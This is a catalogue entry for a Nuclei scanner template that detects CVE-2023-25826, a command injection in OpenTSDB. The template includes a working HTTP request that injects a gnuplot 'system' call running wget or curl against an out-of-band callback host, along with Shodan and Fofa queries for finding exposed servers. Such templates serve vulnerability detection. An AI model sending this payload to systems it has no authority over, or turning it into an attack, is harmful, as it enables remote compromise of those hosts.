CVE-2023-25826: OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection
- Template: CVE-2023-25826
- Name: OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection
- Description: OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.
- Impact: Attackers can execute arbitrary OS commands on the host system, potentially leading to full system compromise.
- Remediation: Implement comprehensive input validation and update to the latest version that addresses this issue.
- Severity: critical
- Authors: aryu-ru
- Tags: cve, cve2023, opentsdb, rce, oast, unauth, packetstorm
- References: https://github.com/OpenTSDB/opentsdb/pull/2275, https://github.com/vulhub/vulhub/blob/master/opentsdb/CVE-2023-25826/README.md, http://packetstormsecurity.com/files/174570/OpenTSDB-2.4.1-Unauthenticated-Command-Injection.html, https://nvd.nist.gov/vuln/detail/CVE-2023-25826
- Cves: CVE-2023-25826
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-25826.yaml
- Digest: 4a0a00473045022100badd3598344bb3cded85acaea8af895820f94f862b204b223eef7cb9de807e6c0220608594e886681022bb72d686785522d8dd3fe2dd1985e2852e0427a03d1a4274
- Created at: 2026-08-24T06:27:55Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 92
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-25826.yaml
Classification
- Cwe: CWE-78
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.43036
- Epss percentile: 0.98751
- Not known: cpe
Metadata
- Fofa-query: title="OpenTSDB"
- Max-request: 2
- Product: opentsdb
- Shodan-query: http.favicon.hash:407286339
- Vendor: opentsdb
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| opentsdb:opentsdb | yes | /v1/products/opentsdb/opentsdb |
Labels
- Name: OpenTSDB - Command Injection
- Impact: Attackers can execute arbitrary OS commands on the host system, potentially leading to full system compromise.
- Remediation: Implement comprehensive input validation and update to the latest version that addresses this issue.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-25826
- Not known: requirements
```yaml
id: CVE-2023-25826
info:
name: OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection
author: aryu-ru
severity: critical
description: |
OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.
impact: |
Attackers can execute arbitrary OS commands on the host system, potentially leading to full system compromise.
remediation: |
Implement comprehensive input validation and update to the latest version that addresses this issue.
reference:
- https://github.com/OpenTSDB/opentsdb/pull/2275
- https://github.com/vulhub/vulhub/blob/master/opentsdb/CVE-2023-25826/README.md
- http://packetstormsecurity.com/files/174570/OpenTSDB-2.4.1-Unauthenticated-Command-Injection.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-25826
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-25826
epss-score: 0.43036
epss-percentile: 0.98751
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: opentsdb
product: opentsdb
shodan-query: http.favicon.hash:407286339
fofa-query: title="OpenTSDB"
tags: cve,cve2023,opentsdb,rce,oast,unauth,packetstorm
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/suggest?type=metrics&q=&max=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
- contains(body, "[\"")
- '!contains(body, "<html")'
condition: and
internal: true
extractors:
- type: regex
name: metric
part: body
group: 1
regex:
- '^\["([^"]+)"'
internal: true
- raw:
- |
GET /q?start=1h-ago&m=sum:{{metric}}&key=out%20right%20top%0asystem%20%22wget%20-q%20-T%205%20-O%20/dev/null%20http://{{interactsh-url}}%20%7C%7C%20curl%20-sk%20--max-time%205%20http://{{interactsh-url}}%22&json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_any(interactsh_protocol, "http", "dns")
- contains_all(body, "plotted", "points", "etags")
- status_code == 200
condition: and
digest: 4a0a00473045022100badd3598344bb3cded85acaea8af895820f94f862b204b223eef7cb9de807e6c0220608594e886681022bb72d686785522d8dd3fe2dd1985e2852e0427a03d1a4274:922c64590222798bb761d5b6d8e72950
```